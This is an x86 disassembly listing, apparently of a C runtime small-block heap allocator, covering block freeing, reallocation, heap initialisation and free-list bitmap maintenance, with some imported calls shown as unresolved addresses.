		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41CD50
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BAA5
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		jmp	short loc_41BB00
; ---------------------------------------------------------------------------


loc_41BAA5:				; CODE XREF: sub_41BA10+8Bj
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_41C510
		add	esp, 4
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41BB00
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax-4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_41BAD6
		mov	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		jmp	short loc_41BADC
; ---------------------------------------------------------------------------


loc_41BAD6:				; CODE XREF: sub_41BA10+BCj
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_10], ecx


loc_41BADC:				; CODE XREF: sub_41BA10+C4j
		mov	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_4187B0
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41BF40
		add	esp, 8


loc_41BB00:				; CODE XREF: sub_41BA10+73j
					; sub_41BA10+93j ...
		cmp	[ebp+var_8], 0
		jnz	short loc_41BB80
		cmp	[ebp+arg_4], 0
		jnz	short loc_41BB13
		mov	[ebp+arg_4], 1


loc_41BB13:				; CODE XREF: sub_41BA10+FAj
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	0
		mov	eax, dword_4DB7A0
		push	eax
		nop
		call	near ptr 2870000h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41BB80
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx-4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_41BB56
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_14], ecx
		jmp	short loc_41BB5C
; ---------------------------------------------------------------------------


loc_41BB56:				; CODE XREF: sub_41BA10+13Cj
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_14], edx


loc_41BB5C:				; CODE XREF: sub_41BA10+144j
		mov	eax, [ebp+var_14]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_4187B0
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_41BF40
		add	esp, 8


loc_41BB80:				; CODE XREF: sub_41BA10+F4j
					; sub_41BA10+128j
		push	9
		call	sub_41B820
		add	esp, 4
		jmp	short loc_41BBC9
; ---------------------------------------------------------------------------


loc_41BB8C:				; CODE XREF: sub_41BA10+64j
		push	9
		call	sub_41B820
		add	esp, 4
		cmp	[ebp+arg_4], 0
		jnz	short loc_41BBA3
		mov	[ebp+arg_4], 1


loc_41BBA3:				; CODE XREF: sub_41BA10+18Aj
		mov	edx, [ebp+arg_4]
		add	edx, 0Fh
		and	edx, 0FFFFFFF0h
		mov	[ebp+arg_4], edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0
		mov	edx, dword_4DB7A0
		push	edx
		nop
		call	near ptr 2880000h
		mov	[ebp+var_8], eax


loc_41BBC9:				; CODE XREF: sub_41BA10+41j
					; sub_41BA10+17Aj
		cmp	[ebp+var_8], 0
		jnz	short loc_41BBD8
		cmp	dword_4DB12C, 0
		jnz	short loc_41BBDD


loc_41BBD8:				; CODE XREF: sub_41BA10+1BDj
		mov	eax, [ebp+var_8]
		jmp	short loc_41BBF6
; ---------------------------------------------------------------------------


loc_41BBDD:				; CODE XREF: sub_41BA10+1C6j
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_41B670
		add	esp, 4
		test	eax, eax
		jnz	short loc_41BBF1
		xor	eax, eax
		jmp	short loc_41BBF6
; ---------------------------------------------------------------------------


loc_41BBF1:				; CODE XREF: sub_41BA10+1DBj
		jmp	loc_41BA46
; ---------------------------------------------------------------------------


loc_41BBF6:				; CODE XREF: sub_41BA10+18j
					; sub_41BA10+31j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41BA10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC00	proc near		; CODE XREF: sub_415890+26Ep
					; sub_415890+3B2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_41BC0C
		jmp	short loc_41BC64
; ---------------------------------------------------------------------------


loc_41BC0C:				; CODE XREF: sub_41BC00+8j
		push	9
		call	sub_41B780
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41BE80
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41BC47
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41BF40
		add	esp, 8
		push	9
		call	sub_41B820
		add	esp, 4
		jmp	short loc_41BC64
; ---------------------------------------------------------------------------


loc_41BC47:				; CODE XREF: sub_41BC00+29j
		push	9
		call	sub_41B820
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		mov	ecx, dword_4DB7A0
		push	ecx
		nop
		call	near ptr 28820CAh


loc_41BC64:				; CODE XREF: sub_41BC00+Aj
					; sub_41BC00+45j
		mov	esp, ebp
		pop	ebp
		retn
sub_41BC00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC70	proc near		; CODE XREF: sub_415F70+30p
					; ___:0041BCF3p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0FFFFFFFEh
		push	9
		call	sub_41B780
		add	esp, 4
		call	sub_41D470
		test	eax, eax
		jge	short loc_41BC95
		mov	[ebp+var_4], 0FFFFFFFCh


loc_41BC95:				; CODE XREF: sub_41BC70+1Cj
		push	9
		call	sub_41B820
		add	esp, 4
		push	0
		push	0
		mov	eax, dword_4DB7A0
		push	eax
		nop
		call	near ptr 2830000h
		test	eax, eax
		jnz	short loc_41BCDD
		nop
		call	near ptr 26908EFh
		cmp	eax, 78h
		jnz	short loc_41BCD6
		call	sub_420530
		mov	dword ptr [eax], 78h
		call	sub_420520
		mov	dword ptr [eax], 28h
		jmp	short loc_41BCDD
; ---------------------------------------------------------------------------


loc_41BCD6:				; CODE XREF: sub_41BC70+4Cj
		mov	[ebp+var_4], 0FFFFFFFCh


loc_41BCDD:				; CODE XREF: sub_41BC70+41j
					; sub_41BC70+64j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41BC70	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_41BC70
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		push	1000h
		xor	eax, eax
		cmp	dword ptr [ebp+8], 0
		setz	al
		push	eax
		call	near ptr 2890000h
		nop
		mov	dword_4DB7A0, eax
		cmp	dword_4DB7A0, 0
		jnz	short loc_41BD2C
		xor	eax, eax
		jmp	short loc_41BD4B
; ---------------------------------------------------------------------------


loc_41BD2C:				; CODE XREF: ___:0041BD26j
		call	sub_41BE20
		test	eax, eax
		jnz	short loc_41BD46
		mov	ecx, dword_4DB7A0
		push	ecx
		call	near ptr 288298Bh
		nop
		xor	eax, eax
		jmp	short loc_41BD4B
; ---------------------------------------------------------------------------


loc_41BD46:				; CODE XREF: ___:0041BD33j
		mov	eax, 1


loc_41BD4B:				; CODE XREF: ___:0041BD2Aj
					; ___:0041BD44j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, dword_4DB79C
		mov	[ebp-8], eax
		mov	dword ptr [ebp-4], 0
		jmp	short loc_41BD70
; ---------------------------------------------------------------------------


loc_41BD67:				; CODE XREF: ___:0041BDC4j
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx


loc_41BD70:				; CODE XREF: ___:0041BD65j
		mov	edx, [ebp-4]
		cmp	edx, dword_4DB798
		jge	short loc_41BDC6
		push	4000h
		push	100000h
		mov	eax, [ebp-8]
		mov	ecx, [eax+0Ch]
		push	ecx
		nop
		call	near ptr 2890603h
		push	8000h
		push	0
		mov	edx, [ebp-8]
		mov	eax, [edx+0Ch]
		push	eax
		nop
		call	near ptr 2890603h
		mov	ecx, [ebp-8]
		mov	edx, [ecx+10h]
		push	edx
		push	0
		mov	eax, dword_4DB7A0
		push	eax
		nop
		call	near ptr 28820CAh
		mov	ecx, [ebp-8]
		add	ecx, 14h
		mov	[ebp-8], ecx
		jmp	short loc_41BD67
; ---------------------------------------------------------------------------


loc_41BDC6:				; CODE XREF: ___:0041BD79j
		mov	edx, dword_4DB79C
		push	edx
		push	0
		mov	eax, dword_4DB7A0
		push	eax
		nop
		call	near ptr 28820CAh
		mov	ecx, dword_4DB7A0
		push	ecx
		call	near ptr 288298Bh
		nop
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, dword_443C78
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 3F8h
		jbe	short loc_41BE10
		xor	eax, eax
		jmp	short loc_41BE1D
; ---------------------------------------------------------------------------


loc_41BE10:				; CODE XREF: ___:0041BE0Aj
		mov	eax, [ebp+8]
		mov	dword_443C78, eax
		mov	eax, 1


loc_41BE1D:				; CODE XREF: ___:0041BE0Ej
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE20	proc near		; CODE XREF: ___:loc_41BD2Cp
		push	ebp
		mov	ebp, esp
		push	140h
		push	0
		mov	eax, dword_4DB7A0
		push	eax
		call	near ptr 2870000h
		nop
		mov	dword_4DB79C, eax
		cmp	dword_4DB79C, 0
		jnz	short loc_41BE48
		xor	eax, eax
		jmp	short loc_41BE77
; ---------------------------------------------------------------------------


loc_41BE48:				; CODE XREF: sub_41BE20+22j
		mov	ecx, dword_4DB79C
		mov	dword_4DB790, ecx
		mov	dword_4DB794, 0
		mov	dword_4DB798, 0
		mov	dword_4DB788, 10h
		mov	eax, 1


loc_41BE77:				; CODE XREF: sub_41BE20+26j
		pop	ebp
		retn
sub_41BE20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE80	proc near		; CODE XREF: sub_4163D0+30p
					; sub_41B960+21p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_4DB798
		imul	eax, 14h
		mov	ecx, dword_4DB79C
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, dword_4DB79C
		mov	[ebp+var_8], edx


loc_41BEA2:				; CODE XREF: sub_41BE80+4Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_41BECF
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		sub	edx, [ecx+0Ch]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 100000h
		jnb	short loc_41BEC4
		mov	eax, [ebp+var_8]
		jmp	short loc_41BED1
; ---------------------------------------------------------------------------


loc_41BEC4:				; CODE XREF: sub_41BE80+3Dj
		mov	eax, [ebp+var_8]
		add	eax, 14h
		mov	[ebp+var_8], eax
		jmp	short loc_41BEA2
; ---------------------------------------------------------------------------


loc_41BECF:				; CODE XREF: sub_41BE80+28j
		xor	eax, eax


loc_41BED1:				; CODE XREF: sub_41BE80+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_41BE80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BEE0	proc near		; CODE XREF: sub_4163D0+4Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+0Ch]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		shr	edx, 0Fh
		mov	[ebp+var_4], edx
		mov	eax, 80000000h
		mov	ecx, [ebp+var_4]
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, eax
		test	edx, edx
		jnz	short loc_41BF31
		mov	eax, [ebp+var_8]
		and	eax, 0Fh
		test	eax, eax
		jnz	short loc_41BF31
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFFh
		test	ecx, ecx
		jz	short loc_41BF31
		mov	[ebp+var_C], 1
		jmp	short loc_41BF38
; ---------------------------------------------------------------------------


loc_41BF31:				; CODE XREF: sub_41BEE0+2Fj
					; sub_41BEE0+39j ...
		mov	[ebp+var_C], 0


loc_41BF38:				; CODE XREF: sub_41BEE0+4Fj
		mov	eax, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_41BEE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BF40	proc near		; CODE XREF: sub_41BA10+E8p
					; sub_41BA10+168p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		mov	[ebp+var_3C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		sub	eax, [edx+0Ch]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		shr	ecx, 0Fh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		imul	edx, 204h
		mov	eax, [ebp+var_3C]
		lea	ecx, [eax+edx+144h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		sub	edx, 4
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_1C]
		add	edx, [ebp+var_30]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+var_38]
		mov	ecx, [eax]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_1C]
		mov	eax, [edx-4]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		and	ecx, 1
		test	ecx, ecx
		jnz	loc_41C0D8
		mov	edx, [ebp+var_14]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_24], edx
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_41BFCF
		mov	[ebp+var_24], 3Fh


loc_41BFCF:				; CODE XREF: sub_41BF40+86j
		mov	eax, [ebp+var_38]
		mov	ecx, [ebp+var_38]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_41C0B1
		cmp	[ebp+var_24], 20h
		jnb	short loc_41C046
		mov	eax, 80000000h
		mov	ecx, [ebp+var_24]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+44h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+44h], ecx
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_24]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_24]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_41C044
		mov	eax, 80000000h
		mov	ecx, [ebp+var_24]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax], edx


loc_41C044:				; CODE XREF: sub_41BF40+EAj
		jmp	short loc_41C0B1
; ---------------------------------------------------------------------------


loc_41C046:				; CODE XREF: sub_41BF40+A5j
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_3C]
		mov	eax, [ecx+eax*4+0C4h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	[edx+ecx*4+0C4h], eax
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_3C]
		add	edx, [ebp+var_24]
		mov	[edx+4], cl
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_41C0B1
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_41C0B1:				; CODE XREF: sub_41BF40+9Bj
					; sub_41BF40:loc_41C044j ...
		mov	eax, [ebp+var_38]
		mov	ecx, [eax+8]
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_38]
		mov	ecx, [eax+8]
		mov	[edx+8], ecx
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_14]
		mov	[ebp+var_30], edx


loc_41C0D8:				; CODE XREF: sub_41BF40+70j
		mov	eax, [ebp+var_30]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 3Fh
		jbe	short loc_41C0F1
		mov	[ebp+var_28], 3Fh


loc_41C0F1:				; CODE XREF: sub_41BF40+1A8j
		mov	ecx, [ebp+var_C]
		and	ecx, 1
		test	ecx, ecx
		jnz	loc_41C255
		mov	edx, [ebp+var_1C]
		sub	edx, [ebp+var_C]
		mov	[ebp+var_34], edx
		mov	eax, [ebp+var_C]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 3Fh
		jbe	short loc_41C121
		mov	[ebp+var_2C], 3Fh


loc_41C121:				; CODE XREF: sub_41BF40+1D8j
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_C]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_30]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_28], edx
		cmp	[ebp+var_28], 3Fh
		jbe	short loc_41C143
		mov	[ebp+var_28], 3Fh


loc_41C143:				; CODE XREF: sub_41BF40+1FAj
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	loc_41C24F
		mov	ecx, [ebp+var_34]
		mov	edx, [ebp+var_34]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_41C231
		cmp	[ebp+var_2C], 20h
		jnb	short loc_41C1C6
		mov	edx, 80000000h
		mov	ecx, [ebp+var_2C]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_3C]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_3C]
		add	edx, [ebp+var_2C]
		mov	[edx+4], cl
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_41C1C4
		mov	edx, 80000000h
		mov	ecx, [ebp+var_2C]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_41C1C4:				; CODE XREF: sub_41BF40+26Aj
		jmp	short loc_41C231
; ---------------------------------------------------------------------------


loc_41C1C6:				; CODE XREF: sub_41BF40+225j
		mov	ecx, [ebp+var_2C]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_2C]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_2C]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_41C231
		mov	ecx, [ebp+var_2C]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_41C231:				; CODE XREF: sub_41BF40+21Bj
					; sub_41BF40:loc_41C1C4j ...
		mov	ecx, [ebp+var_34]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_34]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_34]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_34]
		mov	edx, [ecx+8]
		mov	[eax+8], edx


loc_41C24F:				; CODE XREF: sub_41BF40+209j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_1C], eax


loc_41C255:				; CODE XREF: sub_41BF40+1B9j
		mov	ecx, [ebp+var_C]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_41C26B
		mov	edx, [ebp+var_2C]
		cmp	edx, [ebp+var_28]
		jz	loc_41C37B


loc_41C26B:				; CODE XREF: sub_41BF40+31Dj
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_1C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_1C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_41C37B
		cmp	[ebp+var_28], 20h
		jnb	short loc_41C314
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_28]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_41C2F2
		mov	edx, 80000000h
		mov	ecx, [ebp+var_28]
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_41C2F2:				; CODE XREF: sub_41BF40+39Aj
		mov	eax, 80000000h
		mov	ecx, [ebp+var_28]
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+44h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+44h], ecx
		jmp	short loc_41C37B
; ---------------------------------------------------------------------------


loc_41C314:				; CODE XREF: sub_41BF40+377j
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_28]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_41C352
		mov	ecx, [ebp+var_28]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_41C352:				; CODE XREF: sub_41BF40+3F5j
		mov	ecx, [ebp+var_28]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx


loc_41C37B:				; CODE XREF: sub_41BF40+325j
					; sub_41BF40+36Dj ...
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_30]
		mov	[ecx], edx
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_30]
		mov	[eax-4], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx], 0
		jnz	loc_41C509
		cmp	dword_4DB794, 0
		jz	loc_41C4F8
		mov	eax, dword_4DB78C
		shl	eax, 0Fh
		mov	ecx, dword_4DB794
		mov	edx, [ecx+0Ch]
		add	edx, eax
		mov	[ebp+var_18], edx
		push	4000h
		push	8000h
		mov	eax, [ebp+var_18]
		push	eax
		nop
		call	near ptr 2890603h
		mov	edx, 80000000h
		mov	ecx, dword_4DB78C
		shr	edx, cl
		mov	eax, dword_4DB794
		mov	ecx, [eax+8]
		or	ecx, edx
		mov	edx, dword_4DB794
		mov	[edx+8], ecx
		mov	eax, dword_4DB794
		mov	ecx, [eax+10h]
		mov	edx, dword_4DB78C
		mov	dword ptr [ecx+edx*4+0C4h], 0
		mov	eax, dword_4DB794
		mov	ecx, [eax+10h]
		mov	dl, [ecx+43h]
		sub	dl, 1
		mov	eax, dword_4DB794
		mov	ecx, [eax+10h]
		mov	[ecx+43h], dl
		mov	edx, dword_4DB794
		mov	eax, [edx+10h]
		movsx	ecx, byte ptr [eax+43h]
		test	ecx, ecx
		jnz	short loc_41C456
		mov	edx, dword_4DB794
		mov	eax, [edx+4]
		and	al, 0FEh
		mov	ecx, dword_4DB794
		mov	[ecx+4], eax


loc_41C456:				; CODE XREF: sub_41BF40+500j
		mov	edx, dword_4DB794
		cmp	dword ptr [edx+8], 0FFFFFFFFh
		jnz	loc_41C4F8
		push	8000h
		push	0
		mov	eax, dword_4DB794
		mov	ecx, [eax+0Ch]
		push	ecx
		nop
		call	near ptr 2890603h
		mov	edx, dword_4DB794
		mov	eax, [edx+10h]
		push	eax
		push	0
		mov	ecx, dword_4DB7A0
		push	ecx
		call	near ptr 28820CAh
		nop
		mov	edx, dword_4DB798
		imul	edx, 14h
		mov	eax, dword_4DB79C
		add	eax, edx
		mov	ecx, dword_4DB794
		add	ecx, 14h
		sub	eax, ecx
		push	eax
		mov	edx, dword_4DB794
		add	edx, 14h
		push	edx
		mov	eax, dword_4DB794
		push	eax
		call	sub_4197C0
		add	esp, 0Ch
		mov	ecx, dword_4DB798
		sub	ecx, 1
		mov	dword_4DB798, ecx
		mov	edx, [ebp+arg_0]
		cmp	edx, dword_4DB794
		jbe	short loc_41C4EC
		mov	eax, [ebp+arg_0]
		sub	eax, 14h
		mov	[ebp+arg_0], eax


loc_41C4EC:				; CODE XREF: sub_41BF40+5A1j
		mov	ecx, dword_4DB79C
		mov	dword_4DB790, ecx


loc_41C4F8:				; CODE XREF: sub_41BF40+46Fj
					; sub_41BF40+520j
		mov	edx, [ebp+arg_0]
		mov	dword_4DB794, edx
		mov	eax, [ebp+var_4]
		mov	dword_4DB78C, eax


loc_41C509:				; CODE XREF: sub_41BF40+462j
		mov	esp, ebp
		pop	ebp
		retn
sub_41BF40	endp

